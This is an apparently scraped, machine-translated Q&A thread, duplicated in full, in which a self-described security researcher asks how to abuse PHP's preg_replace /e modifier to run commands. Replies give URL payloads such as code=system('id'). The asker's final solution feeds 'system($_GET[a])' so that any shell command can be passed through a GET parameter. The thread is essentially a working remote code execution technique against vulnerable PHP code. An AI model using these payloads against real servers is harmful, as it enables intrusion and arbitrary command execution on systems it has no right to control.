php preg_replace 转义单引号和双引号
php preg_replace escapes single and double quotes
我正在做一些安全研究,我对 PHP 中的 preg_replace()
的评估有疑问。我的目标是我可以使用此功能执行命令。我可以控制 preg_replace
函数的第一个和第三个参数,但不能控制第二个。这段代码按预期工作,我只在使用像 system()
这样的函数时遇到问题,它需要一个字符串作为我无法提供的参数。
echo preg_replace('/(.+)/e', '\1', "phpinfo()");
echo preg_replace('/(.+)/e', '\1', 'phpinfo()');//we both work as intended
我试过这个简单的例子来了解如何在这种情况下使用引号和字符串。
echo preg_replace('/(.+)/e', '\1', '$a="1"');
echo preg_replace('/(.+)/e', '\1', "$a='1'"); //basically the same, only switched ' and "
它应该执行命令$a="1";
(我很清楚它没有任何用处)。
完全准确地说,第三个参数是 GET 参数,我不知道在这种情况下它是否仍然相关,我使用了哪种引号。为了适应这两种情况,我都尝试了但没有成功。
当我执行这一行时,
php > echo preg_replace('/(.+)/e', '\1', '$a="1"');
我收到一个错误,
PHP Parse error: syntax error, unexpected '"', expecting identifier (T_STRING) in php shell
code(1) : regexp code on line 1
PHP Fatal error: preg_replace(): Failed evaluating code:
$a=\"1\" in php shell code on line 1
//Same command, switches quotation marks
php > echo preg_replace('/(.+)/e', '\1', "$a='1'");
PHP Notice: Undefined variable: a in php shell code on line 1
PHP Parse error: syntax error, unexpected '=' in php shell code(1) : regexp code on line 1
PHP Fatal error: preg_replace(): Failed evaluating code:
=\'1\' in php shell code on line 1
我已阅读错误消息并对此主题进行了一些研究,但无法找到对我有帮助的内容。
在第三个参数周围使用preg_quote
并不能解决这个问题。
我想要的是能够在 preg_replace()
的计算中执行将字符串作为输入的函数。非常感谢任何帮助。
我想发表评论,但还不能...
我假设代码如下所示:
preg_replace('/(.+)/e', '\1', $_GET['code']);
既然你是说第三个参数是GET自带的。难道你不能做一些像
这样的事情吗?
http://somesuperduperurl.xxx/code=system('id')
?你说你能控制preg_replace的第一个参数。也是通过GET吗?
http://somesuperduperurl.xxx/sth=/known/e?code=system('id')
你试过吗?
我想出了解决问题的方法。我得出的结论是,我想做的事情似乎是不可能的,至少在这种方式下是不可能的。
但是,当我使用下面的代码时
echo preg_replace("/(.+)/e", "\1", "system($_GET[a])");
我可以简单地在 URL 中添加另一个 GET 参数,其中包含我所有的命令。使用这种方法,我不需要关心 preg_replace
转义我的 ' 和 ".
请注意,$_GET[a]
的使用是不正确的,但是因为 PHP 非常好,它只是假设未知常量 a 应该是一个字符串并以这种方式解释它.在 GET 参数中 a
我现在可以插入任何我想执行的命令。
我正在做一些安全研究,我对 PHP 中的 preg_replace()
的评估有疑问。我的目标是我可以使用此功能执行命令。我可以控制 preg_replace
函数的第一个和第三个参数,但不能控制第二个。这段代码按预期工作,我只在使用像 system()
这样的函数时遇到问题,它需要一个字符串作为我无法提供的参数。
echo preg_replace('/(.+)/e', '\1', "phpinfo()");
echo preg_replace('/(.+)/e', '\1', 'phpinfo()');//we both work as intended
我试过这个简单的例子来了解如何在这种情况下使用引号和字符串。
echo preg_replace('/(.+)/e', '\1', '$a="1"');
echo preg_replace('/(.+)/e', '\1', "$a='1'"); //basically the same, only switched ' and "
它应该执行命令$a="1";
(我很清楚它没有任何用处)。
完全准确地说,第三个参数是 GET 参数,我不知道在这种情况下它是否仍然相关,我使用了哪种引号。为了适应这两种情况,我都尝试了但没有成功。
当我执行这一行时,
php > echo preg_replace('/(.+)/e', '\1', '$a="1"');
我收到一个错误,
PHP Parse error: syntax error, unexpected '"', expecting identifier (T_STRING) in php shell
code(1) : regexp code on line 1
PHP Fatal error: preg_replace(): Failed evaluating code:
$a=\"1\" in php shell code on line 1
//Same command, switches quotation marks
php > echo preg_replace('/(.+)/e', '\1', "$a='1'");
PHP Notice: Undefined variable: a in php shell code on line 1
PHP Parse error: syntax error, unexpected '=' in php shell code(1) : regexp code on line 1
PHP Fatal error: preg_replace(): Failed evaluating code:
=\'1\' in php shell code on line 1
我已阅读错误消息并对此主题进行了一些研究,但无法找到对我有帮助的内容。
在第三个参数周围使用preg_quote
并不能解决这个问题。
我想要的是能够在 preg_replace()
的计算中执行将字符串作为输入的函数。非常感谢任何帮助。
我想发表评论,但还不能...
我假设代码如下所示:
preg_replace('/(.+)/e', '\1', $_GET['code']);
既然你是说第三个参数是GET自带的。难道你不能做一些像
这样的事情吗?http://somesuperduperurl.xxx/code=system('id')
?你说你能控制preg_replace的第一个参数。也是通过GET吗?
http://somesuperduperurl.xxx/sth=/known/e?code=system('id')
你试过吗?
我想出了解决问题的方法。我得出的结论是,我想做的事情似乎是不可能的,至少在这种方式下是不可能的。
但是,当我使用下面的代码时
echo preg_replace("/(.+)/e", "\1", "system($_GET[a])");
我可以简单地在 URL 中添加另一个 GET 参数,其中包含我所有的命令。使用这种方法,我不需要关心 preg_replace
转义我的 ' 和 ".
请注意,$_GET[a]
的使用是不正确的,但是因为 PHP 非常好,它只是假设未知常量 a 应该是一个字符串并以这种方式解释它.在 GET 参数中 a
我现在可以插入任何我想执行的命令。